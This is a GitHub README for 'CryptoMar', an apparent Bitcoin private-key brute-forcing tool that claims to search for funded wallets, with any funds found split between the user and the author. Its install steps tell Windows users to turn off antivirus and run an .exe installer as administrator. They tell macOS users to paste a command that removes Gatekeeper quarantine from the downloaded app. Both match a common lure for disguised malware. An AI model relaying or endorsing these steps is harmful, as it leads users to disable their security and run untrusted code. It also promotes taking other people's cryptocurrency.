Skip to content

A Bitcoin wallet brute-force tool for P2WPKH, implemented with a custom C++ library to enhance generation speed.

Notifications You must be signed in to change notification settings

HexaMar/CryptoMar_EN

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

37 Commits
 
 
 
 

Repository files navigation

CryptoMar

CryptoMar is a high-performance Bitcoin wallet brute-force tool based on a custom C++ library, optimized for macOS and Windows. The program supports the generation and search of private keys and Bech32 (P2WPKH) Bitcoin addresses at high speed, featuring a user-friendly interface aimed at regular users.

|=========================================================================================|
|                                                                                         |
|                 _____                      _           __  __                           |
|                / ____|                    | |         |  \/  |                          |
|               | |      _ __  _   _  _ __  | |_   ___  | \  / |  __ _  _ __              |
|               | |     | '__|| | | || '_ \ | __| / _ \ | |\/| | / _` || '__|             | 
|               | |____ | |   | |_| || |_) || |_ | (_) || |  | || (_| || |                |
|                \_____||_|    \__, || .__/  \__| \___/ |_|  |_| \__,_||_|                |
|                               __/ || |                                                  |
|                              |___/ |_|                                                  |
|                                                                                         |
|====================================== Welcome to =======================================|
|                                        ᴄʀʏᴘᴛᴏᴍᴀʀ                                        |
|====================================== Version 1.1 ======================================|
|                                                                                         |
|  Rate: 1 BTC = 106267 USD. (2025-05-21 13:16:01)                                        |
|  Setup completed.                                                                       |
|  Please wait, the process will start soon...                                            |
|                                                                                         |
|------------------------------ Loading addresses into memory ----------------------------|
|  Loaded 15394750 addresses.                                                             |
|-----------------------------------------------------------------------------------------|
|                                                                                         |
|====================================== In Progress ======================================|
|                                        ᴄʀʏᴘᴛᴏᴍᴀʀ                                        |
|====================================== Version 1.1 ======================================|
|  The key search process is not fast.                                                    |
|  It can take days or even weeks.                                                        |
|  It all depends on your processor's power and luck.                                     |
|_________________________________________________________________________________________|
|                                                                                         |
| 44015.36 addresses/s                       Total: 303934842                             |

🚀 Features

  • Lightning-fast Bitcoin address generation using a native C++ library.
  • Support for Bech32 (P2WPKH) Bitcoin addresses.
  • Multi-threaded generation and verification with minimal memory usage.
  • An up-to-date database of all existing P2WPKH addresses with balances, current as of early May 2025.

🔓 How It Works

🗝️ Private and Public Key Generation

  • The program randomly generates a 256-bit number, which becomes the private key.
  • A public key is created from the private key using elliptic curve cryptography (secp256k1).
  • The public key is hashed twice (SHA-256 and RIPEMD-160) to create a Public Key Hash, which is then used to generate the Bech32 (P2WPKH) address.

🚀 How Wallet Brute-Forcing Works

  • The program generates millions of private keys and corresponding Bech32 addresses.
  • Each address is checked for a balance in a database of known addresses with confirmed balances.
  • If an address with a balance is found, the private key is saved and the user is notified.

🌐 How Many Wallets with Balances?

As of 20 May 2025, the program's database contains 18,226,528 Bech32 (P2WPKH) addresses** with confirmed balances > 0.00001 BTC.

❓ Why Is the Author Sharing This Program?

Brute-forcing private keys is a matter of substantial time and computational power. The author created this software to distribute the process among a large number of people. The user who finds the correct key receives 90% of the funds, while the author receives 10%.

📥 Download and Launch

🪟 For Windows

  1. Turn off the antivirus.
  2. Open the latest release: CryptoMar Releases
  3. Download the file CryptoMarInstaller.exe
  4. Follow the installer instructions.
  5. Update (24.05.2025): Memory usage has been optimized. A Bloom filter is now used for fast searching and memory efficiency, combined with balance verification to prevent false positives. To generate the filter file, please run the program as administrator.

🍎 For macOS

  1. Open the latest release: CryptoMar Releases
  2. Download the file CryptoMarAPP.zip
  3. Open the file CryptoMarAPP.zip in Download folder
  4. Open the terminal, enter the following, and press Enter:
    xattr -rd com.apple.quarantine ~/Downloads/CryptoMar.app
  5. Launch the program CryptoMar.app

⚡ Paid and Free Versions

  • Free Version: Limited speed and runtime (up to 100 hours).
  • Paid Version: Unlimited speed and runtime.

If the program exits without finding the file, ensure all required files are in the same folder.

💡 Support

For support, contact the developer or create an issue on GitHub. Before using, please review the Terms of Use